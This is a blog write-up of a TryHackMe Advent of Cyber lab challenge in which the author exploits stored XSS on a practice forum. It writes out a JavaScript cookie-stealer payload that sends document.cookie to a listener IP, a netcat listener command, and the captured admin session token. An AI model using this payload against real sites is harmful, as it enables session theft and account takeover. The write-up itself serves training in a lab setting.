Navigate back to the homepage

Advent of Cyber Day 18 ELF JS

Ludovic COULON
May 8th, 2020 · 1 min read

TryHackMe | Advent of Cyber

McSkidy knows the crisis isn’t over. The best thing to do at this point is OSINT

we need to learn more about the christmas monster

During their OSINT, they came across a Hacker Forum. Their research has shown them that this forum belongs to the Christmas Monster. Can they gain access to the admin section of the forum? They haven’t made an account yet so make sure to register.

Access the machine at http://[your-ip-address]:3000 - it may take a few minutes to deploy.

Check out the supporting material here.

P.S. If you want to learn more about XSS, we have a room where you can learn about it in depth.

Setup

First let’s try all the form post to see if there is an XSS attack

blog_image

As you can see the website is vulnerable to stored XSS

Now let’s implement cookie stealer.

Reference →

How to Write an XSS Cookie Stealer in JavaScript to Steal Passwords

1<script>window.location = 'http://10.9.45.74:9999/page?param=' + document.cookie </script>

Now let’s wait for the admin’s token

1nc -lnvp 9999
1kali@kali:~$ nc -lnvp 9999
2listening on [any] 9999 ...
3connect to [10.9.45.74] from (UNKNOWN) [10.10.125.201] 55668
4GET /page?param=authid="2564799a4e6689972f6d9e1c7b406f87065cbf65" HTTP/1.1
5Host: 10.9.45.74
6Connection: keep-alive
7Upgrade-Insecure-Requests: 1
8User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/77.0.3844.0 Safari/537.36
9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
10Referer: http://localhost:3000/admin
11Accept-Encoding: gzip, deflate

More articles from Ludovic COULON

Mr Robot CTF

Mr Robot CTF writeup

May 10th, 2020 · 1 min read

Advent of Cyber Challenge - TryHackMe

Advent of Cyber Challenge all the challengs solved write up

May 8th, 2020 · 1 min read
© 2020 Ludovic COULON
Link to $https://github.com/LasCCLink to $https://www.linkedin.com/in/ludovic-coulon-b361ba183/Link to $https://www.youtube.com/channel/UCkDvlI9LUuwZ4GKFUbP_OvgLink to $mailto:coulonludovicc@gmail.com
063664e4.js" async="">body>="">